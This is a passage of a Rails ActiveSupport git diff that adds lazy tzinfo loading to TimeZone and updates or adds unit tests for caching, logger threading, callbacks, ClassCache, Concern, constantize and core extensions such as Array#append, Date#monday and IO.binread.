- zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset }
+ lazy_zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset }
rescue TZInfo::InvalidTimezoneIdentifier
nil
end
@@ -367,11 +368,28 @@ module ActiveSupport
@us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
end
+ protected
+
+ def require_tzinfo
+ require 'tzinfo' unless defined?(::TZInfo)
+ rescue LoadError
+ $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install"
+ raise
+ end
+
private
def lookup(name)
(tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze)
end
+
+ def lazy_zones_map
+ require_tzinfo
+
+ @lazy_zones_map ||= Hash.new do |hash, place|
+ hash[place] = create(place) if MAPPING.has_key?(place)
+ end
+ end
end
end
end
diff --git a/activesupport/test/buffered_logger_test.rb b/activesupport/test/buffered_logger_test.rb
index 21049d685b..386006677b 100644
--- a/activesupport/test/buffered_logger_test.rb
+++ b/activesupport/test/buffered_logger_test.rb
@@ -198,4 +198,57 @@ class BufferedLoggerTest < Test::Unit::TestCase
end
assert byte_string.include?(BYTE_STRING)
end
+
+ def test_silence_only_current_thread
+ @logger.auto_flushing = true
+ run_thread_a = false
+
+ a = Thread.new do
+ while !run_thread_a do
+ sleep(0.001)
+ end
+ @logger.info("x")
+ run_thread_a = false
+ end
+
+ @logger.silence do
+ run_thread_a = true
+ @logger.info("a")
+ while run_thread_a do
+ sleep(0.001)
+ end
+ end
+
+ a.join
+
+ assert @output.string.include?("x")
+ assert !@output.string.include?("a")
+ end
+
+ def test_flush_dead_buffers
+ @logger.auto_flushing = false
+
+ a = Thread.new do
+ @logger.info("a")
+ end
+
+ keep_running = true
+ Thread.new do
+ @logger.info("b")
+ while keep_running
+ sleep(0.001)
+ end
+ end
+
+ @logger.info("x")
+ a.join
+ @logger.flush
+
+
+ assert @output.string.include?("x")
+ assert @output.string.include?("a")
+ assert !@output.string.include?("b")
+
+ keep_running = false
+ end
end
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
index 402c6695aa..5d7464c623 100644
--- a/activesupport/test/caching_test.rb
+++ b/activesupport/test/caching_test.rb
@@ -13,10 +13,10 @@ class CacheKeyTest < ActiveSupport::TestCase
ENV['RAILS_CACHE_ID'] = 'c99'
assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key(:foo)
assert_equal 'c99/foo', ActiveSupport::Cache.expand_cache_key([:foo])
- assert_equal 'c99/c99/foo/c99/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar])
+ assert_equal 'c99/foo/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar])
assert_equal 'nm/c99/foo', ActiveSupport::Cache.expand_cache_key(:foo, :nm)
assert_equal 'nm/c99/foo', ActiveSupport::Cache.expand_cache_key([:foo], :nm)
- assert_equal 'nm/c99/c99/foo/c99/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar], :nm)
+ assert_equal 'nm/c99/foo/bar', ActiveSupport::Cache.expand_cache_key([:foo, :bar], :nm)
ensure
ENV['RAILS_CACHE_ID'] = nil
end
@@ -42,7 +42,7 @@ class CacheKeyTest < ActiveSupport::TestCase
end
end
- def test_respond_to_cache_key
+ def test_expand_cache_key_respond_to_cache_key
key = 'foo'
def key.cache_key
:foo_key
@@ -50,6 +50,25 @@ class CacheKeyTest < ActiveSupport::TestCase
assert_equal 'foo_key', ActiveSupport::Cache.expand_cache_key(key)
end
+ def test_expand_cache_key_array_with_something_that_responds_to_cache_key
+ key = 'foo'
+ def key.cache_key
+ :foo_key
+ end
+ assert_equal 'foo_key', ActiveSupport::Cache.expand_cache_key([key])
+ end
+
+ def test_expand_cache_key_of_nil
+ assert_equal '', ActiveSupport::Cache.expand_cache_key(nil)
+ end
+
+ def test_expand_cache_key_of_false
+ assert_equal 'false', ActiveSupport::Cache.expand_cache_key(false)
+ end
+
+ def test_expand_cache_key_of_true
+ assert_equal 'true', ActiveSupport::Cache.expand_cache_key(true)
+ end
end
class CacheStoreSettingTest < ActiveSupport::TestCase
@@ -122,8 +141,8 @@ class CacheStoreNamespaceTest < ActiveSupport::TestCase
cache.write("foo", "bar")
cache.write("fu", "baz")
cache.delete_matched(/^fo/)
- assert_equal false, cache.exist?("foo")
- assert_equal true, cache.exist?("fu")
+ assert !cache.exist?("foo")
+ assert cache.exist?("fu")
end
def test_delete_matched_key
@@ -131,15 +150,15 @@ class CacheStoreNamespaceTest < ActiveSupport::TestCase
cache.write("foo", "bar")
cache.write("fu", "baz")
cache.delete_matched(/OO/i)
- assert_equal false, cache.exist?("foo")
- assert_equal true, cache.exist?("fu")
+ assert !cache.exist?("foo")
+ assert cache.exist?("fu")
end
end
# Tests the base functionality that should be identical across all cache stores.
module CacheStoreBehavior
def test_should_read_and_write_strings
- assert_equal true, @cache.write('foo', 'bar')
+ assert @cache.write('foo', 'bar')
assert_equal 'bar', @cache.read('foo')
end
@@ -174,22 +193,22 @@ module CacheStoreBehavior
end
def test_should_read_and_write_hash
- assert_equal true, @cache.write('foo', {:a => "b"})
+ assert @cache.write('foo', {:a => "b"})
assert_equal({:a => "b"}, @cache.read('foo'))
end
def test_should_read_and_write_integer
- assert_equal true, @cache.write('foo', 1)
+ assert @cache.write('foo', 1)
assert_equal 1, @cache.read('foo')
end
def test_should_read_and_write_nil
- assert_equal true, @cache.write('foo', nil)
+ assert @cache.write('foo', nil)
assert_equal nil, @cache.read('foo')
end
def test_should_read_and_write_false
- assert_equal true, @cache.write('foo', false)
+ assert @cache.write('foo', false)
assert_equal false, @cache.read('foo')
end
@@ -199,12 +218,20 @@ module CacheStoreBehavior
@cache.write('fud', 'biz')
assert_equal({"foo" => "bar", "fu" => "baz"}, @cache.read_multi('foo', 'fu'))
end
+
+ def test_read_multi_with_expires
+ @cache.write('foo', 'bar', :expires_in => 0.001)
+ @cache.write('fu', 'baz')
+ @cache.write('fud', 'biz')
+ sleep(0.002)
+ assert_equal({"fu" => "baz"}, @cache.read_multi('foo', 'fu'))
+ end
def test_read_and_write_compressed_small_data
@cache.write('foo', 'bar', :compress => true)
raw_value = @cache.send(:read_entry, 'foo', {}).raw_value
assert_equal 'bar', @cache.read('foo')
- assert_equal 'bar', raw_value
+ assert_equal 'bar', Marshal.load(raw_value)
end
def test_read_and_write_compressed_large_data
@@ -254,26 +281,28 @@ module CacheStoreBehavior
def test_exist
@cache.write('foo', 'bar')
- assert_equal true, @cache.exist?('foo')
- assert_equal false, @cache.exist?('bar')
+ assert @cache.exist?('foo')
+ assert !@cache.exist?('bar')
end
def test_nil_exist
@cache.write('foo', nil)
- assert_equal true, @cache.exist?('foo')
+ assert @cache.exist?('foo')
end
def test_delete
@cache.write('foo', 'bar')
assert @cache.exist?('foo')
- assert_equal true, @cache.delete('foo')
+ assert @cache.delete('foo')
assert !@cache.exist?('foo')
end
- def test_store_objects_should_be_immutable
+ def test_read_should_return_a_different_object_id_each_time_it_is_called
@cache.write('foo', 'bar')
- assert_raise(ActiveSupport::FrozenObjectError) { @cache.read('foo').gsub!(/.*/, 'baz') }
- assert_equal 'bar', @cache.read('foo')
+ assert_not_equal @cache.read('foo').object_id, @cache.read('foo').object_id
+ value = @cache.read('foo')
+ value << 'bingo'
+ assert_not_equal value, @cache.read('foo')
end
def test_original_store_objects_should_not_be_immutable
@@ -336,10 +365,10 @@ module CacheStoreBehavior
def test_crazy_key_characters
crazy_key = "#/:*(<+=> )&$%@?;'\"\'`~-"
- assert_equal true, @cache.write(crazy_key, "1", :raw => true)
+ assert @cache.write(crazy_key, "1", :raw => true)
assert_equal "1", @cache.read(crazy_key)
assert_equal "1", @cache.fetch(crazy_key)
- assert_equal true, @cache.delete(crazy_key)
+ assert @cache.delete(crazy_key)
assert_equal "2", @cache.fetch(crazy_key, :raw => true) { "2" }
assert_equal 3, @cache.increment(crazy_key)
assert_equal 2, @cache.decrement(crazy_key)
@@ -347,13 +376,13 @@ module CacheStoreBehavior
def test_really_long_keys
key = ""
- 1000.times{key << "x"}
- assert_equal true, @cache.write(key, "bar")
+ 900.times{key << "x"}
+ assert @cache.write(key, "bar")
assert_equal "bar", @cache.read(key)
assert_equal "bar", @cache.fetch(key)
assert_nil @cache.read("#{key}x")
assert_equal({key => "bar"}, @cache.read_multi(key))
- assert_equal true, @cache.delete(key)
+ assert @cache.delete(key)
end
end
@@ -365,10 +394,10 @@ module EncodedKeyCacheBehavior
Encoding.list.each do |encoding|
define_method "test_#{encoding.name.underscore}_encoded_values" do
key = "foo".force_encoding(encoding)
- assert_equal true, @cache.write(key, "1", :raw => true)
+ assert @cache.write(key, "1", :raw => true)
assert_equal "1", @cache.read(key)
assert_equal "1", @cache.fetch(key)
- assert_equal true, @cache.delete(key)
+ assert @cache.delete(key)
assert_equal "2", @cache.fetch(key, :raw => true) { "2" }
assert_equal 3, @cache.increment(key)
assert_equal 2, @cache.decrement(key)
@@ -377,10 +406,10 @@ module EncodedKeyCacheBehavior
def test_common_utf8_values
key = "\xC3\xBCmlaut".force_encoding(Encoding::UTF_8)
- assert_equal true, @cache.write(key, "1", :raw => true)
+ assert @cache.write(key, "1", :raw => true)
assert_equal "1", @cache.read(key)
assert_equal "1", @cache.fetch(key)
- assert_equal true, @cache.delete(key)
+ assert @cache.delete(key)
assert_equal "2", @cache.fetch(key, :raw => true) { "2" }
assert_equal 3, @cache.increment(key)
assert_equal 2, @cache.decrement(key)
@@ -388,7 +417,7 @@ module EncodedKeyCacheBehavior
def test_retains_encoding
key = "\xC3\xBCmlaut".force_encoding(Encoding::UTF_8)
- assert_equal true, @cache.write(key, "1", :raw => true)
+ assert @cache.write(key, "1", :raw => true)
assert_equal Encoding::UTF_8, key.encoding
end
end
@@ -401,10 +430,10 @@ module CacheDeleteMatchedBehavior
@cache.write("foo/bar", "baz")
@cache.write("fu/baz", "bar")
@cache.delete_matched(/oo/)
- assert_equal false, @cache.exist?("foo")
- assert_equal true, @cache.exist?("fu")
- assert_equal false, @cache.exist?("foo/bar")
- assert_equal true, @cache.exist?("fu/baz")
+ assert !@cache.exist?("foo")
+ assert @cache.exist?("fu")
+ assert !@cache.exist?("foo/bar")
+ assert @cache.exist?("fu/baz")
end
end
@@ -433,7 +462,7 @@ module LocalCacheBehavior
retval = @cache.with_local_cache do
@cache.write('foo', 'bar')
end
- assert_equal true, retval
+ assert retval
assert_equal 'bar', @cache.read('foo')
end
@@ -547,11 +576,29 @@ class FileStoreTest < ActiveSupport::TestCase
key = @cache_with_pathname.send(:key_file_path, "views/index?id=1")
assert_equal "views/index?id=1", @cache_with_pathname.send(:file_path_key, key)
end
+
+ # Because file systems have a maximum filename size, filenames > max size should be split in to directories
+ # If filename is 'AAAAB', where max size is 4, the returned path should be AAAA/B
+ def test_key_transformation_max_filename_size
+ key = "#{'A' * ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}B"
+ path = @cache.send(:key_file_path, key)
+ assert path.split('/').all? { |dir_name| dir_name.size <= ActiveSupport::Cache::FileStore::FILENAME_MAX_SIZE}
+ assert_equal 'B', File.basename(path)
+ end
+
+ # If nothing has been stored in the cache, there is a chance the cache directory does not yet exist
+ # Ensure delete_matched gracefully handles this case
+ def test_delete_matched_when_cache_directory_does_not_exist
+ assert_nothing_raised(Exception) do
+ ActiveSupport::Cache::FileStore.new('/test/cache/directory').delete_matched(/does_not_exist/)
+ end
+ end
end
class MemoryStoreTest < ActiveSupport::TestCase
def setup
- @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => 100)
+ @record_size = Marshal.dump("aaaaaaaaaa").bytesize
+ @cache = ActiveSupport::Cache.lookup_store(:memory_store, :expires_in => 60, :size => @record_size * 10)
end
include CacheStoreBehavior
@@ -566,12 +613,12 @@ class MemoryStoreTest < ActiveSupport::TestCase
@cache.write(5, "eeeeeeeeee") && sleep(0.001)
@cache.read(2) && sleep(0.001)
@cache.read(4)
- @cache.prune(30)
- assert_equal true, @cache.exist?(5)
- assert_equal true, @cache.exist?(4)
- assert_equal false, @cache.exist?(3)
- assert_equal true, @cache.exist?(2)
- assert_equal false, @cache.exist?(1)
+ @cache.prune(@record_size * 3)
+ assert @cache.exist?(5)
+ assert @cache.exist?(4)
+ assert !@cache.exist?(3)
+ assert @cache.exist?(2)
+ assert !@cache.exist?(1)
end
def test_prune_size_on_write
@@ -588,17 +635,17 @@ class MemoryStoreTest < ActiveSupport::TestCase
@cache.read(2) && sleep(0.001)
@cache.read(4) && sleep(0.001)
@cache.write(11, "llllllllll")
- assert_equal true, @cache.exist?(11)
- assert_equal true, @cache.exist?(10)
- assert_equal true, @cache.exist?(9)
- assert_equal true, @cache.exist?(8)
- assert_equal true, @cache.exist?(7)
- assert_equal false, @cache.exist?(6)
- assert_equal false, @cache.exist?(5)
- assert_equal true, @cache.exist?(4)
- assert_equal false, @cache.exist?(3)
- assert_equal true, @cache.exist?(2)
- assert_equal false, @cache.exist?(1)
+ assert @cache.exist?(11)
+ assert @cache.exist?(10)
+ assert @cache.exist?(9)
+ assert @cache.exist?(8)
+ assert @cache.exist?(7)
+ assert !@cache.exist?(6)
+ assert !@cache.exist?(5)
+ assert @cache.exist?(4)
+ assert !@cache.exist?(3)
+ assert @cache.exist?(2)
+ assert !@cache.exist?(1)
end
def test_pruning_is_capped_at_a_max_time
@@ -612,11 +659,11 @@ class MemoryStoreTest < ActiveSupport::TestCase
@cache.write(4, "dddddddddd") && sleep(0.001)
@cache.write(5, "eeeeeeeeee") && sleep(0.001)
@cache.prune(30, 0.001)
- assert_equal true, @cache.exist?(5)
- assert_equal true, @cache.exist?(4)
- assert_equal true, @cache.exist?(3)
- assert_equal true, @cache.exist?(2)
- assert_equal false, @cache.exist?(1)
+ assert @cache.exist?(5)
+ assert @cache.exist?(4)
+ assert @cache.exist?(3)
+ assert @cache.exist?(2)
+ assert !@cache.exist?(1)
end
end
@@ -695,7 +742,7 @@ class CacheEntryTest < ActiveSupport::TestCase
entry = ActiveSupport::Cache::Entry.create("raw", time, :compress => false, :expires_in => 300)
assert_equal "raw", entry.raw_value
assert_equal time.to_f, entry.created_at
- assert_equal false, entry.compressed?
+ assert !entry.compressed?
assert_equal 300, entry.expires_in
end
@@ -712,14 +759,14 @@ class CacheEntryTest < ActiveSupport::TestCase
def test_compress_values
entry = ActiveSupport::Cache::Entry.new("value", :compress => true, :compress_threshold => 1)
assert_equal "value", entry.value
- assert_equal true, entry.compressed?
+ assert entry.compressed?
assert_equal "value", Marshal.load(Zlib::Inflate.inflate(entry.raw_value))
end
def test_non_compress_values
entry = ActiveSupport::Cache::Entry.new("value")
assert_equal "value", entry.value
- assert_equal "value", entry.raw_value
- assert_equal false, entry.compressed?
+ assert_equal "value", Marshal.load(entry.raw_value)
+ assert !entry.compressed?
end
end
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
index 2b4adda4d1..e723121bb4 100644
--- a/activesupport/test/callbacks_test.rb
+++ b/activesupport/test/callbacks_test.rb
@@ -461,7 +461,7 @@ module CallbacksTest
set_callback :save, :after, :third
- attr_reader :history, :saved
+ attr_reader :history, :saved, :halted
def initialize
@history = []
end
@@ -490,6 +490,10 @@ module CallbacksTest
@saved = true
end
end
+
+ def halted_callback_hook(filter)
+ @halted = filter
+ end
end
class CallbackObject
@@ -595,6 +599,12 @@ module CallbacksTest
assert_equal ["first", "second", "third", "second", "first"], terminator.history
end
+ def test_termination_invokes_hook
+ terminator = CallbackTerminator.new
+ terminator.save
+ assert_equal ":second", terminator.halted
+ end
+
def test_block_never_called_if_terminated
obj = CallbackTerminator.new
obj.save
diff --git a/activesupport/test/class_cache_test.rb b/activesupport/test/class_cache_test.rb
index 752c0ee478..b96f476ce6 100644
--- a/activesupport/test/class_cache_test.rb
+++ b/activesupport/test/class_cache_test.rb
@@ -10,45 +10,58 @@ module ActiveSupport
def test_empty?
assert @cache.empty?
- @cache[ClassCacheTest] = ClassCacheTest
+ @cache.store(ClassCacheTest)
assert !@cache.empty?
end
def test_clear!
assert @cache.empty?
- @cache[ClassCacheTest] = ClassCacheTest
+ @cache.store(ClassCacheTest)
assert !@cache.empty?
@cache.clear!
assert @cache.empty?
end
def test_set_key
- @cache[ClassCacheTest] = ClassCacheTest
+ @cache.store(ClassCacheTest)
assert @cache.key?(ClassCacheTest.name)
end
- def test_set_rejects_strings
- @cache[ClassCacheTest.name] = ClassCacheTest
- assert @cache.empty?
- end
-
def test_get_with_class
- @cache[ClassCacheTest] = ClassCacheTest
- assert_equal ClassCacheTest, @cache[ClassCacheTest]
+ @cache.store(ClassCacheTest)
+ assert_equal ClassCacheTest, @cache.get(ClassCacheTest)
end
def test_get_with_name
- @cache[ClassCacheTest] = ClassCacheTest
- assert_equal ClassCacheTest, @cache[ClassCacheTest.name]
+ @cache.store(ClassCacheTest)
+ assert_equal ClassCacheTest, @cache.get(ClassCacheTest.name)
end
def test_get_constantizes
assert @cache.empty?
- assert_equal ClassCacheTest, @cache[ClassCacheTest.name]
+ assert_equal ClassCacheTest, @cache.get(ClassCacheTest.name)
end
- def test_get_is_an_alias
- assert_equal @cache[ClassCacheTest], @cache.get(ClassCacheTest.name)
+ def test_get_constantizes_fails_on_invalid_names
+ assert @cache.empty?
+ assert_raise NameError do
+ @cache.get("OmgTotallyInvalidConstantName")
+ end
+ end
+
+ def test_get_alias
+ assert @cache.empty?
+ assert_equal @cache[ClassCacheTest.name], @cache.get(ClassCacheTest.name)
+ end
+
+ def test_safe_get_constantizes
+ assert @cache.empty?
+ assert_equal ClassCacheTest, @cache.safe_get(ClassCacheTest.name)
+ end
+
+ def test_safe_get_constantizes_doesnt_fail_on_invalid_names
+ assert @cache.empty?
+ assert_equal nil, @cache.safe_get("OmgTotallyInvalidConstantName")
end
def test_new_rejects_strings
diff --git a/activesupport/test/concern_test.rb b/activesupport/test/concern_test.rb
index 4cbe56a2d2..0b0920ee03 100644
--- a/activesupport/test/concern_test.rb
+++ b/activesupport/test/concern_test.rb
@@ -19,9 +19,6 @@ class ConcernTest < Test::Unit::TestCase
end
end
- module InstanceMethods
- end
-
included do
self.included_ran = true
end
@@ -74,7 +71,7 @@ class ConcernTest < Test::Unit::TestCase
def test_instance_methods_are_included
@klass.send(:include, Baz)
assert_equal "baz", @klass.new.baz
- assert @klass.included_modules.include?(ConcernTest::Baz::InstanceMethods)
+ assert @klass.included_modules.include?(ConcernTest::Baz)
end
def test_included_block_is_ran
@@ -92,6 +89,6 @@ class ConcernTest < Test::Unit::TestCase
def test_dependencies_with_multiple_modules
@klass.send(:include, Foo)
- assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz::InstanceMethods, ConcernTest::Baz], @klass.included_modules[0..3]
+ assert_equal [ConcernTest::Foo, ConcernTest::Bar, ConcernTest::Baz], @klass.included_modules[0..2]
end
end
diff --git a/activesupport/test/constantize_test_cases.rb b/activesupport/test/constantize_test_cases.rb
new file mode 100644
index 0000000000..81d200a0c8
--- /dev/null
+++ b/activesupport/test/constantize_test_cases.rb
@@ -0,0 +1,37 @@
+module Ace
+ module Base
+ class Case
+ end
+ end
+end
+
+module ConstantizeTestCases
+ def run_constantize_tests_on
+ assert_nothing_raised { assert_equal Ace::Base::Case, yield("Ace::Base::Case") }
+ assert_nothing_raised { assert_equal Ace::Base::Case, yield("::Ace::Base::Case") }
+ assert_nothing_raised { assert_equal ConstantizeTestCases, yield("ConstantizeTestCases") }
+ assert_nothing_raised { assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases") }
+ assert_raise(NameError) { yield("UnknownClass") }
+ assert_raise(NameError) { yield("UnknownClass::Ace") }
+ assert_raise(NameError) { yield("UnknownClass::Ace::Base") }
+ assert_raise(NameError) { yield("An invalid string") }
+ assert_raise(NameError) { yield("InvalidClass\n") }
+ assert_raise(NameError) { yield("Ace::ConstantizeTestCases") }
+ assert_raise(NameError) { yield("Ace::Base::ConstantizeTestCases") }
+ end
+
+ def run_safe_constantize_tests_on
+ assert_nothing_raised { assert_equal Ace::Base::Case, yield("Ace::Base::Case") }
+ assert_nothing_raised { assert_equal Ace::Base::Case, yield("::Ace::Base::Case") }
+ assert_nothing_raised { assert_equal ConstantizeTestCases, yield("ConstantizeTestCases") }
+ assert_nothing_raised { assert_equal ConstantizeTestCases, yield("::ConstantizeTestCases") }
+ assert_nothing_raised { assert_equal nil, yield("UnknownClass") }
+ assert_nothing_raised { assert_equal nil, yield("UnknownClass::Ace") }
+ assert_nothing_raised { assert_equal nil, yield("UnknownClass::Ace::Base") }
+ assert_nothing_raised { assert_equal nil, yield("An invalid string") }
+ assert_nothing_raised { assert_equal nil, yield("InvalidClass\n") }
+ assert_nothing_raised { assert_equal nil, yield("blargle") }
+ assert_nothing_raised { assert_equal nil, yield("Ace::ConstantizeTestCases") }
+ assert_nothing_raised { assert_equal nil, yield("Ace::Base::ConstantizeTestCases") }
+ end
+end \ No newline at end of file
diff --git a/activesupport/test/core_ext/array_ext_test.rb b/activesupport/test/core_ext/array_ext_test.rb
index e532010b18..52231aaeb0 100644
--- a/activesupport/test/core_ext/array_ext_test.rb
+++ b/activesupport/test/core_ext/array_ext_test.rb
@@ -465,3 +465,13 @@ class ArrayWrapperTests < Test::Unit::TestCase
assert_equal DoubtfulToAry.new.to_ary, Array.wrap(DoubtfulToAry.new)
end
end
+
+class ArrayPrependAppendTest < Test::Unit::TestCase
+ def test_append
+ assert_equal [1, 2], [1].append(2)
+ end
+
+ def test_prepend
+ assert_equal [2, 1], [1].prepend(2)
+ end
+end
diff --git a/activesupport/test/core_ext/date_ext_test.rb b/activesupport/test/core_ext/date_ext_test.rb
index b4f848cd44..c040d86327 100644
--- a/activesupport/test/core_ext/date_ext_test.rb
+++ b/activesupport/test/core_ext/date_ext_test.rb
@@ -57,6 +57,16 @@ class DateExtCalculationsTest < ActiveSupport::TestCase
assert_equal Date.new(2005,11,28), Date.new(2005,12,04).beginning_of_week #sunday
end
+ def test_monday
+ assert_equal Date.new(2005,11,28), Date.new(2005,11,28).monday
+ assert_equal Date.new(2005,11,28), Date.new(2005,12,01).monday
+ end
+
+ def test_sunday
+ assert_equal Date.new(2008,3,2), Date.new(2008,3,02).sunday
+ assert_equal Date.new(2008,3,2), Date.new(2008,2,29).sunday
+ end
+
def test_beginning_of_week_in_calendar_reform
assert_equal Date.new(1582,10,1), Date.new(1582,10,15).beginning_of_week #friday
end
diff --git a/activesupport/test/core_ext/date_time_ext_test.rb b/activesupport/test/core_ext/date_time_ext_test.rb
index 456736cbad..0087163faf 100644
--- a/activesupport/test/core_ext/date_time_ext_test.rb
+++ b/activesupport/test/core_ext/date_time_ext_test.rb
@@ -34,8 +34,8 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
end
def test_to_time
- assert_equal Time.utc(2005, 2, 21, 10, 11, 12), DateTime.new(2005, 2, 21, 10, 11, 12, 0, 0).to_time
- assert_equal Time.utc_time(2039, 2, 21, 10, 11, 12), DateTime.new(2039, 2, 21, 10, 11, 12, 0, 0).to_time
+ assert_equal Time.utc(2005, 2, 21, 10, 11, 12), DateTime.new(2005, 2, 21, 10, 11, 12, 0).to_time
+ assert_equal Time.utc_time(2039, 2, 21, 10, 11, 12), DateTime.new(2039, 2, 21, 10, 11, 12, 0).to_time
# DateTimes with offsets other than 0 are returned unaltered
assert_equal DateTime.new(2005, 2, 21, 10, 11, 12, Rational(-5, 24)), DateTime.new(2005, 2, 21, 10, 11, 12, Rational(-5, 24)).to_time
# Fractional seconds are preserved
@@ -54,6 +54,24 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
assert_equal 86399,DateTime.civil(2005,1,1,23,59,59).seconds_since_midnight
end
+ def test_days_to_week_start
+ assert_equal 0, Time.local(2011,11,01,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 1, Time.local(2011,11,02,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 2, Time.local(2011,11,03,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 4, Time.local(2011,11,05,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 5, Time.local(2011,11,06,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 6, Time.local(2011,11,07,0,0,0).days_to_week_start(:tuesday)
+
+ assert_equal 3, Time.local(2011,11,03,0,0,0).days_to_week_start(:monday)
+ assert_equal 3, Time.local(2011,11,04,0,0,0).days_to_week_start(:tuesday)
+ assert_equal 3, Time.local(2011,11,05,0,0,0).days_to_week_start(:wednesday)
+ assert_equal 3, Time.local(2011,11,06,0,0,0).days_to_week_start(:thursday)
+ assert_equal 3, Time.local(2011,11,07,0,0,0).days_to_week_start(:friday)
+ assert_equal 3, Time.local(2011,11,8,0,0,0).days_to_week_start(:saturday)
+ assert_equal 3, Time.local(2011,11,9,0,0,0).days_to_week_start(:sunday)
+ end
+
def test_beginning_of_week
assert_equal DateTime.civil(2005,1,31), DateTime.civil(2005,2,4,10,10,10).beginning_of_week
assert_equal DateTime.civil(2005,11,28), DateTime.civil(2005,11,28,0,0,0).beginning_of_week #monday
@@ -99,7 +117,7 @@ class DateTimeExtCalculationsTest < Test::Unit::TestCase
assert_equal DateTime.civil(2005,5,1,10), DateTime.civil(2005,6,5,10,0,0).weeks_ago(5)
assert_equal DateTime.civil(2005,4,24,10), DateTime.civil(2005,6,5,10,0,0).weeks_ago(6)
assert_equal DateTime.civil(2005,2,27,10), DateTime.civil(2005,6,5,10,0,0).weeks_ago(14)
- assert_equal DateTime.civil(2004,12,25,10), DateTime.civil(2005,1,1,10,0,0).weeks_ago(1)
+ assert_equal DateTime.civil(2004,12,25,10), DateTime.civil(2005,1,1,10,0,0).weeks_ago(1)
end
def test_months_ago
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index 1813ba2a4d..fa800eada2 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -9,7 +9,7 @@ require 'active_support/inflections'
class HashExtTest < Test::Unit::TestCase
class IndifferentHash < HashWithIndifferentAccess
end
-
+
class SubclassingArray < Array
end
@@ -272,14 +272,14 @@ class HashExtTest < Test::Unit::TestCase
hash = { "urls" => { "url" => [ { "address" => "1" }, { "address" => "2" } ] }}.with_indifferent_access
assert_equal "1", hash[:urls][:url].first[:address]
end
-
+
def test_should_preserve_array_subclass_when_value_is_array
array = SubclassingArray.new
array << { "address" => "1" }
hash = { "urls" => { "url" => array }}.with_indifferent_access
assert_equal SubclassingArray, hash[:urls][:url].class
end
-
+
def test_should_preserve_array_class_when_hash_value_is_frozen_array
array = SubclassingArray.new
array << { "address" => "1" }
@@ -543,7 +543,7 @@ class HashExtToParamTests < Test::Unit::TestCase
end
def test_to_param_hash
- assert_equal 'custom2=param2-1&custom=param-1', {ToParam.new('custom') => ToParam.new('param'), ToParam.new('custom2') => ToParam.new('param2')}.to_param
+ assert_equal 'custom-1=param-1&custom2-1=param2-1', {ToParam.new('custom') => ToParam.new('param'), ToParam.new('custom2') => ToParam.new('param2')}.to_param
end
def test_to_param_hash_escapes_its_keys_and_values
@@ -955,13 +955,13 @@ class HashToXmlTest < Test::Unit::TestCase
hash = Hash.from_xml(xml)
assert_equal "bacon is the best", hash['blog']['name']
end
-
+
def test_empty_cdata_from_xml
xml = "<data><![CDATA[]]></data>"
-
+
assert_equal "", Hash.from_xml(xml)["data"]
end
-
+
def test_xsd_like_types_from_xml
bacon_xml = <<-EOT
<bacon>
@@ -1004,7 +1004,7 @@ class HashToXmlTest < Test::Unit::TestCase
assert_equal expected_product_hash, Hash.from_xml(product_xml)["product"]
end
-
+
def test_should_use_default_value_for_unknown_key
hash_wia = HashWithIndifferentAccess.new(3)
assert_equal 3, hash_wia[:new_key]
diff --git a/activesupport/test/core_ext/integer_ext_test.rb b/activesupport/test/core_ext/integer_ext_test.rb
index fe8c7eb224..b1f5f70a70 100644
--- a/activesupport/test/core_ext/integer_ext_test.rb
+++ b/activesupport/test/core_ext/integer_ext_test.rb
@@ -2,6 +2,8 @@ require 'abstract_unit'
require 'active_support/core_ext/integer'
class IntegerExtTest < Test::Unit::TestCase
+ PRIME = 22953686867719691230002707821868552601124472329079
+
def test_multiple_of
[ -7, 0, 7, 14 ].each { |i| assert i.multiple_of?(7) }
[ -7, 7, 14 ].each { |i| assert ! i.multiple_of?(6) }
@@ -11,10 +13,7 @@ class IntegerExtTest < Test::Unit::TestCase
assert !5.multiple_of?(0)
# test with a prime
- assert !22953686867719691230002707821868552601124472329079.multiple_of?(2)
- assert !22953686867719691230002707821868552601124472329079.multiple_of?(3)
- assert !22953686867719691230002707821868552601124472329079.multiple_of?(5)
- assert !22953686867719691230002707821868552601124472329079.multiple_of?(7)
+ [2, 3, 5, 7].each { |i| assert !PRIME.multiple_of?(i) }
end
def test_ordinalize
diff --git a/activesupport/test/core_ext/io_test.rb b/activesupport/test/core_ext/io_test.rb
new file mode 100644
index 0000000000..b9abf685da
--- /dev/null
+++ b/activesupport/test/core_ext/io_test.rb
@@ -0,0 +1,23 @@
+require 'abstract_unit'
+
+require 'active_support/core_ext/io'
+
+class IOTest < Test::Unit::TestCase
+ def test_binread_one_arg
+ assert_equal File.read(__FILE__), IO.binread(__FILE__)
+ end
+
+ def test_binread_two_args
+ assert_equal File.read(__FILE__).bytes.first(10).pack('C*'),
+ IO.binread(__FILE__, 10)
+ end
+
+ def test_binread_three_args
+ actual = IO.binread(__FILE__, 5, 10)
+ expected = File.open(__FILE__, 'rb') { |f|
+ f.seek 10
+ f.read 5
+ }
+ assert_equal expected, actual
+ end
+end
